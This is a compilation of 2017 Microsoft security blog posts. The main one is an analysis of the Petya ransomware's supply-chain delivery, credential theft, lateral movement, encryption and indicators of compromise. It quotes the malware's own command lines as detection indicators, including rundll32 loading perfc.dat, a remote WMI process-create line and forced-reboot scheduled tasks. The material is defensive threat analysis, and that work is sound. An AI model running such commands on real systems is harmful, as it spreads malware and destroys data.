We recommend customers that have not yet installed security update MS17-010 to do so as soon as possible. If for some reason you cannot apply the update, we recommend a possible workaround to reduce the attack surface: disable SMBv1 with the steps documented at Microsoft Knowledge Base Article 2696547. In addition, consider implementing techniques like network segmentation and least privileged accounts that will further limit the impact of these types of malware attacks. For those using Windows 10, leverage capabilities like Device Guard to lock down devices and allow only trusted applications, effectively preventing malware from running. Finally, consider leveraging Windows Defender Advanced Threat Protection, which automatically detects behaviors used by this new ransomware.

The last few months has illustrated that in today's threat landscape, cybercriminals will continue to alter their attacks and defending against this requires an equal amount of vigilance and effort. Microsoft is committed to working with partners and customers to combat the malicious efforts of these criminals.

We are continuing to investigate and will take appropriate action to protect customers.

Phillip Misner,

Principal Security Group Manager

 

More Resources:

MMPC blog: https://blogs.technet.microsoft.com/mmpc/2017/06/27/new-ransomware-old-techniques-petya-adds-worm-capabilities/

Next-generation ransomware protections with Windows 10 Creators update: https://blogs.technet.microsoft.com/mmpc/2017/06/08/windows-10-creators-update-hardens-security-with-next-gen-defense/

Microsoft Malware Encyclopedia post on Petya: https://www.microsoft.com/en-us/security/portal/threat/encyclopedia/Entry.aspx?Name=Ransom:Win32/Petya

]]>
https://blogs.technet.microsoft.com/msrc/2017/06/28/update-on-petya-malware-attacks/feed/0
New ransomware, old techniques: Petya adds worm capabilitieshttps://blogs.technet.microsoft.com/mmpc/2017/06/27/new-ransomware-old-techniques-petya-adds-worm-capabilities/https://blogs.technet.microsoft.com/mmpc/2017/06/27/new-ransomware-old-techniques-petya-adds-worm-capabilities/#commentsWed, 28 Jun 2017 06:57:43 +0000https://blogs.technet.microsoft.com/mmpc/?p=13175(Note: We have published a follow-up blog entry on this ransomware attack. We have new findings from our continued investigation, as well as platform mitigation and protection information: Windows 10 platform resilience against the Petya ransomware attack. Read our latest comprehensive report on ransomware: Ransomware 1H 2017 review: Global outbreaks reinforce the value of security hygiene.)

 

On June 27, 2017 reports of a ransomware infection began spreading across Europe. We saw the first infections in Ukraine, where more than 12,500 machines encountered the threat. We then observed infections in another 64 countries, including Belgium, Brazil, Germany, Russia, and the United States.

The new ransomware has worm capabilities, which allows it to move laterally across infected networks. Based on our investigation, this new ransomware shares similar codes and is a new variant of Ransom:Win32/Petya. This new strain of ransomware, however, is more sophisticated.

To protect our customers, we released cloud-delivered protection updates and made updates to our signature definition packages shortly after. These updates were automatically delivered to all Microsoft free antimalware products, including Windows Defender Antivirus and Microsoft Security Essentials. You can download the latest version of these files manually at the Malware Protection Center.

Windows Defender Advanced Threat Protection (Windows Defender ATP) automatically detects behaviors used by this new ransomware variant without any updates.

Delivery and installation

Initial infection appears to involve a software supply-chain threat involving the Ukrainian company M.E.Doc, which develops tax accounting software, MEDoc. Although this vector was speculated at length by news media and security researchers—including Ukraine’s own Cyber Police—there was only circumstantial evidence for this vector.  Microsoft now has evidence that a few active infections of the ransomware initially started from the legitimate MEDoc updater process. As we highlighted previously, software supply chain attacks are a recent dangerous trend with attackers, and it requires advanced defense.

We observed telemetry showing the MEDoc software updater process (EzVit.exe) executing a malicious command-line matching this exact attack pattern on Tuesday, June 27 around 10:30 a.m. GMT.

The execution chain leading to the ransomware installation is represented in the diagram below and essentially confirms that EzVit.exe process from MEDoc, for unknown reasons, at some moment executed the following command-line:

C:\\Windows\\system32\\rundll32.exe\" \"C:\\ProgramData\\perfc.dat\",#1 30

The same update vector was also mentioned by the Ukraine Cyber Police in a public list of indicators of compromise (IOCs) , which includes the MEDoc updater.

A single ransomware, multiple lateral movement techniques

Given this new ransomware's added lateral movement capabilities it only takes a single infected machine to affect a network. The ransomware spreading functionality is composed of multiple methods responsible for:

  • stealing credentials or re-using existing active sessions
  • using file-shares to transfer the malicious file across machines on the same network
  • using existing legitimate functionalities to execute the payload or abusing SMB vulnerabilities for unpatched machines

In the next sections, we discuss the details of each technique.

Lateral movement using credential theft and impersonation

This ransomware drops a credential dumping tool (typically as a .tmp file in the %Temp% folder) that shares code similarities with Mimikatz and comes in 32-bit and 64-bit variants.  Because users frequently log in using accounts with local admin privileges and have active sessions opens across multiple machines, stolen credentials are likely to provide the same level of access the user has on other machines.

Once the ransomware has valid credentials, it scans the local network to establish valid connections on ports tcp/139 and tcp/445. A special behavior is reserved for Domain Controllers or servers: this ransomware attempts to call DhcpEnumSubnets() to enumerate DHCP subnets; for each subnet, it gathers all hosts/clients (using DhcpEnumSubnetClients()) for scanning for tcp/139 and tcp/445 services. If it gets a response, the malware attempts to copy a binary on the remote machine using regular file-transfer functionalities with the stolen credentials.

It then tries to execute remotely the malware using either PSEXEC or WMIC tools.

The ransomware attempts to drop the legitimate psexec.exe (typically renamed to dllhost.dat) from an embedded resource within the malware.  It then scans the local network for admin$ shares, copies itself across the network, and executes the newly copied malware binary remotely using PSEXEC.

In addition to credential dumping, the malware also tries to steal credentials by using the CredEnumerateW function to get all the other user credentials potentially stored on the credential store. If a credential name starts with "TERMSRV/" and the type is set as 1 (generic) it uses that credential to propagate through the network.

Ransomware code responsible for accessing \\Admin$ shares on different machines

This ransomware also uses the Windows Management Instrumentation Command-line (WMIC) to find remote shares (using NetEnum/NetAdd) to spread to. It uses either a duplicate token of the current user (for existing connections), or a username/password combination (spreading through legit tools).

Screenshot showing launch of malware on a remote machine using WMIC

Lateral movement using EternalBlue and EternalRomance

The new ransomware can also spread using an exploit for the Server Message Block (SMB) vulnerability CVE-2017-0144 (also known as EternalBlue), which was fixed in security update MS17-010 and was also exploited by WannaCrypt to spread to out-of-date machines. In addition, this ransomware also uses a second exploit for CVE-2017-0145 (also known as EternalRomance, and fixed by the same bulletin).

We’ve seen this ransomware attempt to use these exploits by generating SMBv1 packets (which are all XOR 0xCC encrypted) to trigger these vulnerabilities at the following address of the malware code:

These two exploits were leaked by a group called Shadow Brokers. However, it is important to note that both of these vulnerabilities have been fixed by Microsoft in security update MS17-010 on March 14, 2017.

Machines that are patched against these exploits (with security update MS17-010) or have disabled SMBv1 are not affected by this particular spreading mechanism. Please refer to our previous blog for details on these exploits and how modern Windows 10 mitigations can help to contain similar threats.

Encryption

This ransomware’s encryption behavior depends on the malware process privilege level and the processes found to be running on the machine. It does this by employing a simple XOR-based hashing algorithm on the process names, and checks against the following hash values to use as a behavior exclusion:

  • 0x6403527E or 0x651B3005 – if these hashes of process names are found running on the machine, then the ransomware does not do SMB exploitation.

  • 0x2E214B44  – if a process with this hashed name is found, the ransomware trashes the first 10 sectors of \\\\.\\PhysicalDrive0, including the MBR

This ransomware then writes to the master boot record (MBR) and then sets up the system to reboot. It sets up scheduled tasks to shut down the machine after at least 10 minutes past the current time. The exact time is random (GetTickCount()). For example:

schtasks /Create /SC once /TN "" /TR "<system folder>\shutdown.exe /r /f" /ST 14:23

After successfully modifying the MBR, it displays the following fake system message, which notes a supposed error in the drive and shows the fake integrity checking:

It then displays this ransom note:

Only if the malware is running with highest privilege (i.e., with SeDebugPrivilege enabled), it tries to overwrite the MBR code.

This ransomware attempts to encrypt all files with the following file name extensions in all folders in all fixed drives, except for C:\Windows:

.3ds .7z .accdb .ai
.asp .aspx .avhd .back
.bak .c .cfg .conf
.cpp .cs .ctl .dbf
.disk .djvu .doc .docx
.dwg .eml .fdb .gz
.h .hdd .kdbx .mail
.mdb .msg .nrg .ora
.ost .ova .ovf .pdf
.php .pmf .ppt .pptx
.pst .pvi .py .pyc
.rar .rtf .sln .sql
.tar .vbox .vbs .vcb
.vdi .vfd .vmc .vmdk
.vmsd .vmx .vsdx .vsv
.work .xls .xlsx .xvd
.zip

It uses file mapping APIs instead of a usual ReadFile()/WriteFile() APIs:

Unlike most other ransomware, this threat does not append a new file name extension to encrypted files. Instead, it overwrites the said files.

The AES key generated for encryption is per machine, per fixed drive, and gets exported and encrypted using the embedded 2048-bit RSA public key of the attacker.

Embedded RSA public key

Code exporting the AES 128 bit key per machine, per fixed drive in the machine and encrypting it using embedded RSA public key during export

The unique key used for files encryption (AES) is added, in encrypted form, to the README.TXT file the threat writes under section "Your personal installation key:".

Beyond encrypting files, this ransomware also attempts to infect the MBR or destroy certain sectors of VBR and MBR:

After completing its encryption routine, this ransomware drops a text file called README.TXT in each fixed drive. The said file has the following text:

This ransomware also clears the System, Setup, Security, Application event logs and deletes NTFS journal info.

Detection and investigation with Windows Defender Advanced Threat Protection

Windows Defender Advanced Threat Protection (Windows Defender ATP) is a post-breach solution and offers by-design detections for this attack without need of any signature updates. Windows Defender ATP sensors constantly monitor and collect telemetry from the endpoints and offers machine-learning detections for common lateral movement techniques and tools used by this ransomware, including, for example, the execution of PsExec.exe with different filename, and the creation of the perfc.dat file in remote shares (UNC) paths.

Today, without the need of additional updates, an infected machine may look like this:

The second alert targets the distribution of the ransomware’s .dll file over the network. This event provides helpful information during investigation as it includes the User context that was used to move the file remotely.  This user has been compromised and could represent the user associated with patient-zero:

With Windows Defender ATP, enterprise customers are well-equipped to quickly identify Petya outbreaks, investigate the scope of the attack, and respond early to malware delivery campaigns.

Protection against this new ransomware attack

Keeping your Windows 10 up-to-date gives you the benefits of the latest features and proactive mitigations built into the latest versions of Windows. In Creators Update, we further hardened Windows 10 against ransomware attacks by introducing new next-gen technologies and enhancing existing ones.

As another layer of protection, Windows 10 S only allows apps that come from the Windows Store to run. Windows 10 S users are further protected from this threat.

We recommend customers that have not yet installed security update MS17-010 to do so as soon as possible. Until you can apply the patch, we also recommend two possible workarounds to reduce the attack surface:

As the threat targets ports 139 and 445, you customers can block any traffic on those ports to prevent propagation either into or out of machines in the network. You can also disable remote WMI and file sharing. These may have large impacts on the capability of your network, but may be suggested for a very short time period while you assess the impact and apply definition updates.

Aside from exploiting vulnerabilities, this threat can also spread across networks by stealing credentials, which it then uses to attempt to copy and execute a copy on remote machines. You can prevent credential theft by ensuring credential hygiene across the organization. Secure privileged access to prevent the spread of threats like Petya and to protect your organization’s assets. Use Credential Guard to protect domain credentials stored in the Windows Credential Store.

Windows Defender Antivirus detects this threat as Ransom:Win32/Petya as of the 1.247.197.0 update. Windows Defender Antivirus uses cloud-based protection, helping to protect you from the latest threats.

For enterprises, use Device Guard to lock down devices and provide kernel-level virtualization-based security, allowing only trusted applications to run, effectively preventing malware from running.

Monitor networks with Windows Defender Advanced Threat Protection, which alerts security operations teams about suspicious activities. Download this playbook to see how you can leverage Windows Defender ATP to detect, investigate, and mitigate ransomware in networks: Windows Defender Advanced Threat Protection – Ransomware response playbook.

Resources

MSRC blog: https://blogs.technet.microsoft.com/msrc/2017/06/28/update-on-petya-malware-attacks/

Next-generation ransomware protection with Windows 10 Creators Update: https://blogs.technet.microsoft.com/mmpc/2017/06/08/windows-10-creators-update-hardens-security-with-next-gen-defense/

Download English language security updates: Windows Server 2003 SP2 x64, Windows Server 2003 SP2 x86, Windows XP SP2 x64, Windows XP SP3 x86, Windows XP Embedded SP3 x86, Windows 8 x86, Windows 8 x64

Download localized language security updates: Windows Server 2003 SP2 x64, Windows Server 2003 SP2 x86, Windows XP SP2 x64, Windows XP SP3 x86, Windows XP Embedded SP3 x86, Windows 8 x86, Windows 8 x64

MS17-010 Security Update: https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

General information on ransomware: https://www.microsoft.com/en-us/security/portal/mmpc/shared/ransomware.aspx

Security for IT Pros: https://technet.microsoft.com/en-us/security/default

Indicators of Compromise

Network defenders may search for the following indicators:

File indicators

  • 34f917aaba5684fbe56d3c57d48ef2a1aa7cf06d
  • 9717cfdc2d023812dbc84a941674eb23a2a8ef06
  • 38e2855e11e353cedf9a8a4f2f2747f1c5c07fcf
  • 56c03d8e43f50568741704aee482704a4f5005ad

Command lines

In environments where command-line logging is available, the following command lines may be searched:

  • Scheduled Reboot Task:  Petya schedules a reboot for a random time between 10 and 60 minutes from the current time
    • schtasks /Create /SC once /TN "" /TR "<system folder>\shutdown.exe /r /f" /ST <time>
    • cmd.exe /c schtasks /RU "SYSTEM" /Create /SC once /TN "" /TR "C:\Windows\system32\shutdown.exe /r /f" /ST <time>

This may be surfaced by searching for EventId 106 (General Task Registration) which captures tasks registered with the Task Scheduler service.

  • Lateral Movement (Remote WMI)
    • "process call create \"C:\\Windows\\System32\\rundll32.exe \\\"C:\\Windows\\perfc.dat\\\" #1"

Network indicators

In environments where NetFlow data are available, this ransomware’s subnet-scanning behavior may be observed by looking for the following:

  • Workstations scanning ports tcp/139 and tcp/445 on their own local (/24) network scope
  • Servers (in particular, domain controllers) scanning ports tcp/139 and tcp/445 across multiple /24 scopes

 

]]>
https://blogs.technet.microsoft.com/mmpc/2017/06/27/new-ransomware-old-techniques-petya-adds-worm-capabilities/feed/70
What’s new in Windows Defender ATP Fall Creators Updatehttps://blogs.technet.microsoft.com/mmpc/2017/06/27/whats-new-in-windows-defender-atp-fall-creators-update/https://blogs.technet.microsoft.com/mmpc/2017/06/27/whats-new-in-windows-defender-atp-fall-creators-update/#commentsTue, 27 Jun 2017 12:59:12 +0000https://blogs.technet.microsoft.com/mmpc/?p=12935When we introduced Windows Defender Advanced Threat Protection (Windows Defender ATP), our initial focus was to reduce the time it takes companies to detect, investigate, and respond to advanced attacks. The Windows Fall Creators Update represents a new chapter in our product evolution as we offer a set of new prevention capabilities designed to stop attacks as they happen and before they have impact. This means that our service will expand beyond detection, investigation, and response, and will now allow companies to use the full power of the Windows security stack for preventative protection. The stack will be powered by our cloud-based security intelligence, which moves us from a world of isolated defenses to a smart, interconnected, and coordinated defense grid that is more intelligent, simple to manage, and ever-evolving.

We will also provide a single pane of glass experience for security professionals. This means that security management (SecMgmt) teams can easily configure a broad set of Windows security stack technologies through an integrated configuration management experience. Security operations (SecOps) teams get full visibility into their Windows endpoint security and a rich toolset to take action using the Windows Defender ATP console. This will not only give companies a full picture of what’s happening on their endpoints, but will also put them in the driver seat to quickly react to threats as they happen. Leveraging our cloud-based security intelligence gives the optics, context, and tools that companies need to quickly investigate and remediate incidents.

Here are some highlights of the Windows Fall Creators Update:

  • Attack surface reduction with EMET in the box - In the Windows Fall Creators Update, we are introducing Windows Defender Exploit Guard, which gives companies more control on restricting how code runs on their machines and provides tools to mitigate exploits at runtime. Windows Defender Exploit Guard will offer a set of powerful features for intrusion prevention, such as Attack Surface Reduction (ASR) smart rules, which are designed to give laser-focused and targeted blocking capabilities. For example, companies can take advantage of built-in rules that can block Office files containing macros that attempt to download and execute content from the web. Windows Defender Exploit Guard will also help companies take advantage of vulnerability mitigation capabilities that are native to the OS as well as those formerly offered in Enhanced Mitigation Experience Toolkit (EMET) which are now built into Windows. With the addition of EMET technology, companies will be able to apply advanced vulnerability mitigations on legacy apps running on Windows 10 without the need to recompile them. Another powerful Windows Defender Exploit Guard capability will allow automatic blocking of websites known to host malicious code, by leveraging Windows Defender SmartScreen knowledge base. The integration between Windows Defender ATP and Windows Defender Exploit Guard is designed to offer new prevention capabilities that offer smarter and adaptive defenses for companies using our service (Figure 1).

Figure 1: Windows Defender ATP machine timeline view with Windows Defender Exploit Guard event

  • Single pane of glass view across the Windows security stack – In this release we are exposing a broader set of Windows security stack technologies in a single pane of glass experience to allow SecOps to do more and quickly react to attacks (Figure 2). Here are some examples of what SecOps will be able to perform:
    •  Get access to Windows Defender SmartScreen alerts and events that show if an employee within the company clicked on a specific URL despite receiving warning message
    •  See Windows Defender Antivirus detections and actions that took place and connections that got blocked by Windows Defender Firewall
    •  View Device Guard events that have surfaced unauthorized applications that have been blocked but may still be present within the environment and then access blocked/audit information from Windows Defender Exploit Guard
    •  Get access to events and alerts when Windows Defender Application Guard has successfully isolated and blocked attacks targeting the browser within the Windows Defender Application Guard container

Figure 2: Windows Defender ATP new dashboard view

  • More detection, investigation, and response – Providing advanced detection, investigation, and response capabilities is where Windows Defender ATP started and there are exciting new additions being added to the Windows Fall Creators Update. In this release, we are growing our detection dictionary to include new indicators of attacks (IoA) that cover recent techniques that attackers use. Some of these new detections include dynamic script-based attacks, network explorations, and keylogging alerts. We are offering richer investigation experience across a wide set of Windows 10 security technologies. For example, if a user is tricked into installing malware in their browser, and infection is contained and later discarded in Windows Defender Application Guard without a trace, Windows Defender ATP still gives SecOps visibility to the event for future investigation in Windows Defender ATP console (Figure 3). This will enable them to get to the root cause faster and get complete understanding of the full breadth of the attack footprint. We will offer a set of new and powerful response capabilities to allow SecOps to do more and react faster. For example, users will be able to update and run machine scan using Windows Defender Antivirus, conduct application restriction per machine, and block execution of unknown files using Device Guard technology.

Figure 3: Windows Defender ATP machine timeline view with Windows Defender Application Guard event

  • New security analytics view - We will provide customers visibility into their company’s security posture with a new security analytics view (Figure 4) that will help shed light on possible vulnerable areas in their endpoints. Customers can monitor overall endpoint security health, quickly identify weak spots in their network, and take the necessary resolution actions. Windows Defender ATP will help identify vulnerable areas in endpoints by providing protection score across a wide set of Windows security technologies.

Figure 4: Security Analytics

  • Set of new APIs - We are expanding our set of security graph APIs to provide more flexibility to customers interested in using Windows Defender ATP data together with their security information and event management (SIEM) system. Our new APIs will allow customers to get more information on what’s going on and also take actions needed.

Finally, we plan to extend Windows Defender ATP to also cover the Windows Server platform, starting with Windows Server 2012 R2 and 2016 releases. We are also working on supporting more platforms beyond Windows, and plan to share more information about it later this year as it becomes available.

We encourage you to learn more and experience the current version of Windows Defender ATP by signing up for our 90-day free trial today.

The new Fall Creators Update features will be released for preview later this year around the September-October timeframe. To know more about the end-to-end security features in Windows 10 Fall Creators Update, read this blog post.

 

Avi Sagiv
Principal Program Manager, Windows Defender ATP

 

Learn more about Windows 10 Fall Creators Update

Microsoft 365 Security and Management Features Available in Fall Creators Update

Windows Defender Exploit Guard: Reduce the attack surface against next-generation malware

Stopping ransomware where it counts: Protecting your data with Controlled folder access

Making Microsoft Edge the most secure browser with Windows Defender Application Guard

Introducing Windows Defender Application Control

Hardening the system and maintaining integrity with Windows Defender System Guard

Move away from passwords, deploy Windows Hello. Today!

What’s new in Windows Defender ATP Fall Creators Update

Antivirus evolved

 


Talk to us

Questions, concerns, or insights on this story? Join discussions at the Microsoft community.

Follow us on Twitter @MMPC and Facebook Microsoft Malware Protection Center

 

 

]]>
https://blogs.technet.microsoft.com/mmpc/2017/06/27/whats-new-in-windows-defender-atp-fall-creators-update/feed/5
Understanding the true size of “Fireball”https://blogs.technet.microsoft.com/mmpc/2017/06/22/understanding-the-true-size-of-fireball/https://blogs.technet.microsoft.com/mmpc/2017/06/22/understanding-the-true-size-of-fireball/#respondThu, 22 Jun 2017 12:56:20 +0000https://blogs.technet.microsoft.com/mmpc/?p=12885Keeping tabs on the movement of cybersecurity threats, understanding the size and scope of attacks, and disrupting cybercriminal campaigns through next-gen technologies are fundamental parts of our day-to-day work at Microsoft Windows Defender Research.

So when recent reports of the "Fireball" cybersecurity threat operation were presented as a new discovery, our teams knew differently because we have been tracking this threat since 2015. While the threat is real, the reported magnitude of its reach might have been overblown.

As the group of malware and unwanted software families in the Fireball suite have evolved over time, so has our protection and defense against it. Windows users are protected from this group of threats through Windows Defender Antivirus and Microsoft Malicious Software Removal Tool (MSRT). As another layer of protection, Windows 10 S only allows apps that come from the Windows Store to run. None of these malware and unwanted software is present in the store, therefore Windows 10 S users are further protected from this threat group.

The Fireball suite

Initial Fireball infections come exclusively through software bundling. The malware is installed with programs that users download through their browser, often when looking for apps or media of dubious origin (pirated apps, games, music or video, cracks or keygens, etc.).

The Fireball suite often carries clean programs with it. The suite uses these clean programs as host processes to load their malicious code in an attempt to evade behavior-based detection.

In almost three years of tracking this group of threats and the additional malware they install, we have observed that its components are designed to either persist on an infected machine, monetize via advertising, or hijack browser search and home page settings.

The most prevalent families in the Fireball suite are BrowserModifier:Win32/SupTab and BrowserModifier:Win32/Sasquor.

The relational diagram shows that a software bundler such as ICLoader can install Sasquor, which installs Xadupi, which in turn installs SupTab. Xadupi can also be installed directly by software bundlers, such as ICLoader.

Figure 1: The relational diagram shows that a software bundler such as ICLoader can install Sasquor, which installs Xadupi, which in turn installs SupTab. Xadupi can also be installed directly by software bundlers, such as ICLoader.

Fireball’s main payload is to hijack your browser’s home page and default search settings. It does so either by modifying the browser’s settings directly or by circumventing the settings (for example, changing the shortcuts used to launch the browser).

As a result, the malware’s search page loads without your consent and the malware creators earn revenue from searches done through the page.

An example of one of the many pages that the malware redirects victims into without their consent

Figure 2: An example of one of the many pages that the malware redirects victims into without their consent

The difference between estimated visits and infections

In their report, Check Point estimated the size of the Fireball malware based on the number of visits to the search pages, and not through collection of endpoint device data. However, using this technique of site visits to estimate the volume of infected machines can be tricky:

  • Not every machine that visits one of these sites is infected with malware. The search pages earn revenue regardless of how a user arrives at the page. Some may be loaded by users who are not infected during normal web browsing, for example, via advertisements or domain parking.
  • The estimates were made from analyzing Alexa ranking data, which are estimates of visitor numbers based on a small percentage of Internet users. Alexa’s estimates are based on normal web browsing. They are not the kind of traffic produced by malware infections, like the Fireball threats, which only target Google Chrome and Mozilla Firefox. The Alexa traffic estimates for the Fireball domains, for example, differ from Alexa competitor SimilarWeb.

We’ve reached out to Check Point and requested to take a closer look at their data.

On the other hand, through intelligence gathered from 300 million Windows Defender AV clients since 2015, plus monthly scans by the MSRT on over 500 million machines since October 2016, we can see the scale of the Fireball threat over time.

: Number of machines with BrowserModifier:Win32/SupTab that Microsoft antimalware products have detected and cleaned

Figure 3: Number of machines with BrowserModifier:Win32/SupTab that Microsoft antimalware products have detected and cleaned

The spike in October 2016 reflects when we added the SupTab family to MSRT.

Number of machines with BrowserModifier:Win32/Sasquor that Microsoft antimalware products have detected and cleaned

Figure 4: Number of machines with BrowserModifier:Win32/Sasquor that Microsoft antimalware products have detected and cleaned

The spike in October 2016 occured when the Sasquor family was added to MSRT. We saw a less pronounced spike for Sasquor than we did for SupTab. Sasquor was not distributed as long as SupTab before we added the Sasquor detection in MSRT.

The complete set of malware families behind the Fireball operation was added to MSRT over the course of three releases: September 2016, October 2016, and February 2017.

Our blogs for the October 2016 and February 2017 MSRT releases describe the details of the malware and unwanted software families and their relationships:

The following charts show the number of machines that MSRT cleaned for the four most prevalent Fireball families and the global prevalence of the Fireball suite:

The chart illustrates the impact MSRT had on the infected population

Figure 5: The chart illustrates the impact MSRT had on the infected population

Regions where Fireball is prevalent

Figure 6: Regions where Fireball is prevalent

Notes on how the Fireball infection fizzles

Knowing the infection chain and understanding the Fireball suite behavior help us address the issue and protect your computing experience. We have not seen any changes on Fireball’s strategy. The following Windows 10 protection components contributed to addressing this threat:

  • Microsoft Edge is not affected by the browser hijacking techniques used by Fireball.
  • Through Windows Defender AV and Microsoft Malicious Software Removal Tool (MSRT), we have cleaned existing infections and reduced the threat distribution by:
    • Identifying bundlers that were installing the malware
    • Ensuring the bundlers stop including the threats in their bundles
    • Blocking the bundlers themselves
  • Windows 10 S works exclusively with apps from the Windows Store. Hence, the specific threats described in this blog do not work on Windows 10 S, nor do other similar threats that rely on less trustworthy software distribution mechanisms to deliver unwanted or unexpected functionality.

However, these threats are still actively developed and distributed today, and we will continue to monitor and provide protection against them.

Prevention, detection, and recovery

Fireball’s infection chain includes malware and software bundlers silently installing other applications. You need security solutions that detect and remove all components of this type of infection.

Ensure you get the latest protection from Microsoft. Keep your Windows operating system and antivirus, such as Windows Defender AV and Microsoft Malicious Software Removal Tool (MSRT), up-to-date. If you haven’t already, upgrade to Windows 10.

In Windows Defender Antivirus, you can check your exclusion settings to see whether the malware added some entries in an attempt to exclude folders from being scanned. To check and remove excluded items: Navigate to Settings > Update & security > Windows Defender > Windows Defender Security Center > Virus & threat protection > Virus & threat protection settings. Under Exclusions, click Add or remove exclusions. Click + to go through the lists of options where you can select the excluded item that you want to remove.

Get real-time protection against the latest malware threats by leveraging the power of the cloud. It’s turned on by default for Microsoft Security Essentials and Windows Defender for Windows 10. Go to Settings > Update & security > Windows Defender > Windows Defender Security Center > Virus & threat protection > Virus & threat protection settings and make sure that Real-time protection, Cloud-based protection, and Automatic sample submission settings are turned On.

Use the Settings app to reset to Microsoft recommended defaults that may have been changed by the malware in the Fireball suite. To configure, go to Settings > Apps > Default apps then click Reset.

For enterprises, use Device Guard, which can lock down devices and provide kernel-level virtualization-based security, allowing only trusted applications to run.

Use Windows Defender Advanced Threat Protection to get alerts about suspicious activities, including the download of malware, so you can detect, investigate, and respond to attacks in enterprise networks. Evaluate Windows Defender Advanced Threat Protection for free.

 

Hamish O’Dea
Windows Defender Research

]]>
https://blogs.technet.microsoft.com/mmpc/2017/06/22/understanding-the-true-size-of-fireball/feed/0
Tales from the MSRC: from pixels to POChttps://blogs.technet.microsoft.com/srd/2017/06/20/tales-from-the-msrc-from-pixels-to-poc/https://blogs.technet.microsoft.com/srd/2017/06/20/tales-from-the-msrc-from-pixels-to-poc/#respondTue, 20 Jun 2017 23:22:52 +0000https://blogs.technet.microsoft.com/srd/?p=4015Is this thing still on? It’s been a while since we’ve posted to this blog and we think it’s time to start posting deep technical content about Security Research & Defense (SRD) again. For readers who are new or may have forgotten, this blog is the home of the MSRC Vulnerabilities & Mitigations engineering team. We’re the team that is on the receiving end of all vulnerabilities and exploits that affect Microsoft’s offerings. We perform detailed root cause analysis, variant investigation, and we work with many partners across Microsoft to help build mitigations that make Windows, Microsoft Edge, Microsoft Office, and Microsoft Azure more difficult to attack.

To kick things off, we wanted to start with an interesting technical story related to CVE-2016-0040 that illustrates the spirit of our team. This vulnerability was addressed with MS16-014 in February, 2016. Let’s dive in 😊

From Pixels to Proof of Concept (POC)

At MSRC, we typically learn about vulnerabilities when they’re reported to us through secure@microsoft.com. However, there are times where we only receive vague hints about the presence of a vulnerability, and it’s up to us to puzzle over what the issue might be. This is one of those stories. It’s the story of how we took a screenshot of a single crashing instruction and ultimately created a proof of concept to trigger the vulnerability in less than 24 hours.

The Pixels

On Oct 19, 2015, @R00tkitSMM tweeted about finding a kernel crash that could be triggered from a sandboxed process on Windows.

This quickly piqued our interest, but on the surface there really didn’t seem to be much to go on regarding the root cause of the vulnerability aside from the hint about it not being in win32k.sys. Rather than giving up, we decided to dig a bit deeper. Zooming in on the crashing instruction, we could see that the instructions prior to and after the crashing instruction were partially visible:

From this, we inferred that the instruction sequence was likely the following:

This seemed like a pretty unique instruction sequence, so we decided to search around for instances of it within various kernel binaries. Fortunately for us, we have easy access to all of the released binaries that we thought might have been involved in this, so this gave us a nice sample set to search through.

Needle in the haystack

About an hour later, we found a match that seemed like a very intriguing candidate in WMI code located within ntoskrnl.exe:

This match gave us a starting point to begin searching to see if a vulnerability existed. To gain more confidence, we started looking for additional evidence. One of the valuable resources that we use to search for vulnerabilities and exploits is Windows Error Reporting (WER). As John Lambert described in his blog post on MS08-067, WER is the crash reporting mechanism that Microsoft uses to discover and fix bugs at scale. In this case, we found a small number of crash reports in the function WmipRecieveNotifications that matched the exact crashing instruction described in the tweet. This gave us more information about what the issue might be and increased our confidence that there was a vulnerability lurking in this code.

Where there’s smoke…

As with the story of MS08-067, we now had a function where we suspected a vulnerability might be. The next step was to start reading the code to see if we could spot it. After reading through the code in WmipReceiveNotifications, we were able to pinpoint what we thought the issue was: an uninitialized memory use vulnerability leading to a memory write.

In this case, the function has a code path where it conditionally uses a fixed-size local array, highlighted in yellow, to store object event information if the number of handles provided is small enough:

Unfortunately, the blue highlighted code shows that the contents of the object array are only initialized in CHK builds (via DBG=1). This means its contents will be uninitialized if accessed.

Later in the function, the code checks to see if the notification action is associated with a create thread event. If it is, it assumes that the ObjectArray has at least one element and proceeds to access it, as highlighted in red below. This is a problem if the provided HandleCount is set to zero as the contents of the ObjectArray will be uninitialized. To make matters worse, the code proceeds to write to memory using a pointer that is derived from the uninitialized object array. This results in a write to an uninitialized memory address which is a powerful primitive for would-be exploit writers.

From this analysis, we were confident that we had spotted the vulnerability. The only thing left to do was to confirm it.

Fact checking

The next morning, we constructed a proof of concept and used it to confirm that the vulnerability existed by triggering a crash on the exact same instruction that was originally mentioned in the tweet. In less than 24 hours, we had gone from pixels to proof of concept.

On October 25th, 2015, @R00tkitSMM reported the vulnerability they had discovered via secure@microsoft.com, but by this time we had already opened an MSRC case roughly a week in advance and had begun working on the fix. Nevertheless, it was @R00tkitSMM who tipped us off about the presence of the issue here and we made sure to recognize their contribution through the acknowledgement for CVE-2016-0040:

That said, this analysis highlights the risks of publishing even seemingly minimal information about vulnerabilities, so we encourage researchers to avoid doing this 😊

Wrapping up

In this post, we showed how obscure hints about the presence of a vulnerability can sometimes provide enough information to uncover the underlying issue. While there are many cases where this is not possible, this is another good example of a scenario where we were able to work back and identify the vulnerability using various tools available to us.

Shout outs to Axel Souchet (@0vercl0k), Elia Florio, and Mark Wodrich (@markwo) for their contributions to sleuthing for this vulnerability!

Matt Miller

MSRC Vulnerabilities & Mitigations Team

]]>
https://blogs.technet.microsoft.com/srd/2017/06/20/tales-from-the-msrc-from-pixels-to-poc/feed/0
Partnering with the AV ecosystem to protect our Windows 10 customershttps://blogs.technet.microsoft.com/mmpc/2017/06/20/partnering-with-the-av-ecosystem-to-protect-our-windows-10-customers/https://blogs.technet.microsoft.com/mmpc/2017/06/20/partnering-with-the-av-ecosystem-to-protect-our-windows-10-customers/#commentsTue, 20 Jun 2017 17:03:17 +0000https://blogs.technet.microsoft.com/mmpc/?p=12876On Friday May 12th, and for several days afterwards, more than a quarter-million computers around the world fell victim to the ransomware known as WannaCrypt or WannaCry. As that recent event has shown, malicious actors bring nearly boundless time and skill to commit cybercrime that can cause harm to millions of people. That is why our drive to make Windows 10 the safest and most secure version of Windows ever is so important and why we must remain vigilant in bringing our best efforts forward in protecting our customers.

Before and since the launch of Windows 10, Microsoft’s thousands of security engineers have worked day in and day out to provide ever-increasing levels of security, hardening the operating system at every layer of the stack and reducing the attack surface with new security features that help protect against and respond to a range of threats our customers face. Our approach to security with Windows 10 includes both the end-to-end protections we build in natively, as well as support for the larger ecosystem of ISV and OEM partners to do their best work, providing added hardware and software security protections and services our mutual customers may choose.

